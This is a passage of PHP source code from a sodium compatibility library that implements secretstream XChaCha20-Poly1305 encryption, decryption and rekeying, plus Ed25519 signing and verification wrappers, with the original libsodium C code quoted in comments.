        # if (outlen_p != NULL) {
        #     *outlen_p = 0U;
        # }
        # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #     sodium_misuse();
        # }

        # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        # crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        # sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #     (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));

        # memset(block, 0, sizeof block);
        # block[0] = tag;
        # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                    state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::intToChr($tag) . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $auth->update($block);

        # out[0] = block[0];
        $out = $block[0];
        # c = out + (sizeof tag);
        # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k);
        $cipher = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $msg,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update($cipher);

        $out .= $cipher;
        unset($cipher);

        # crypto_onetimeauth_poly1305_update
        # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        # STORE64_LE(slen, (uint64_t) adlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # STORE64_LE(slen, (sizeof block) + mlen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # mac = c + mlen;
        # crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        $mac = $auth->finish();
        $out .= $mac;

        # sodium_memzero(&poly1305_state, sizeof poly1305_state);
        unset($auth);


        # XOR_BUF(STATE_INONCE(state), mac,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        # sodium_increment(STATE_COUNTER(state),
        #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();
        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #     sodium_is_zero(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #     crypto_secretstream_xchacha20poly1305_rekey(state);
        # }
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        # if (outlen_p != NULL) {
        #     *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen;
        # }
        return $out;
    }

    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '')
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);

        $cipherlen = ParagonIE_Sodium_Core_Util::strlen($cipher);
        #     mlen = inlen - crypto_secretstream_xchacha20poly1305_ABYTES;
        $msglen = $cipherlen - ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES;
        $aadlen = ParagonIE_Sodium_Core_Util::strlen($aad);

        #     if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #         sodium_misuse();
        #     }
        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        #     crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        #     crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        #     sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core_Poly1305_State(
            ParagonIE_Sodium_Core_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        #     crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #         (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));


        #     memset(block, 0, sizeof block);
        #     block[0] = in[0];
        #     crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                        state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $cipher[0] . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
        #     tag = block[0];
        #     block[0] = in[0];
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $tag = ParagonIE_Sodium_Core_Util::chrToInt($block[0]);
        $block[0] = $cipher[0];
        $auth->update($block);


        #     c = in + (sizeof tag);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update(ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen));

        #     crypto_onetimeauth_poly1305_update
        #     (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        #     STORE64_LE(slen, (uint64_t) adlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le($aadlen);
        $auth->update($slen);

        #     STORE64_LE(slen, (sizeof block) + mlen);
        #     crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $slen = ParagonIE_Sodium_Core_Util::store64_le(64 + $msglen);
        $auth->update($slen);

        #     crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        #     sodium_memzero(&poly1305_state, sizeof poly1305_state);
        $mac = $auth->finish();

        #     stored_mac = c + mlen;
        #     if (sodium_memcmp(mac, stored_mac, sizeof mac) != 0) {
        #     sodium_memzero(mac, sizeof mac);
        #         return -1;
        #     }

        $stored = ParagonIE_Sodium_Core_Util::substr($cipher, $msglen + 1, 16);
        if (!ParagonIE_Sodium_Core_Util::hashEquals($mac, $stored)) {
            return false;
        }

        #     crypto_stream_chacha20_ietf_xor_ic(m, c, mlen, state->nonce, 2U, state->k);
        $out = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core_Util::substr($cipher, 1, $msglen),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(2)
        );

        #     XOR_BUF(STATE_INONCE(state), mac,
        #         crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        #     sodium_increment(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();

        #     if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #         sodium_is_zero(STATE_COUNTER(state),
        #             crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #         crypto_secretstream_xchacha20poly1305_rekey(state);
        #     }

        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        return array($out, $tag);
    }

    /**
     * @param string $state
     * @return void
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_rekey(&$state)
    {
        $st = ParagonIE_Sodium_Core_SecretStream_State::fromString($state);
        # unsigned char new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES +
        # crypto_secretstream_xchacha20poly1305_INONCEBYTES];
        # size_t        i;
        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     new_key_and_inonce[i] = state->k[i];
        # }
        $new_key_and_inonce = $st->getKey();

        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i] =
        #         STATE_INONCE(state)[i];
        # }
        $new_key_and_inonce .= ParagonIE_Sodium_Core_Util::substR($st->getNonce(), 0, 8);

        # crypto_stream_chacha20_ietf_xor(new_key_and_inonce, new_key_and_inonce,
        #                                 sizeof new_key_and_inonce,
        #                                 state->nonce, state->k);

        $st->rekey(ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $new_key_and_inonce,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core_Util::store64_le(0)
        ));

        # for (i = 0U; i < crypto_stream_chacha20_ietf_KEYBYTES; i++) {
        #     state->k[i] = new_key_and_inonce[i];
        # }
        # for (i = 0U; i < crypto_secretstream_xchacha20poly1305_INONCEBYTES; i++) {
        #     STATE_INONCE(state)[i] =
        #          new_key_and_inonce[crypto_stream_chacha20_ietf_KEYBYTES + i];
        # }
        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $st->counterReset();

        $state = $st->toString();
    }

    /**
     * Detached Ed25519 signature.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_detached($message, $sk);
    }

    /**
     * Attached Ed25519 signature. (Returns a signed message.)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign($message, $sk);
    }

    /**
     * Opens a signed message. If valid, returns the message.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signedMessage
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($signedMessage, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::sign_open($signedMessage, $pk);
    }

    /**
     * Verify a detached signature of a given message and public key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_verify_detached($signature, $message, $pk)
    {
        return ParagonIE_Sodium_Core_Ed25519::verify_detached($signature, $message, $pk);
    }
}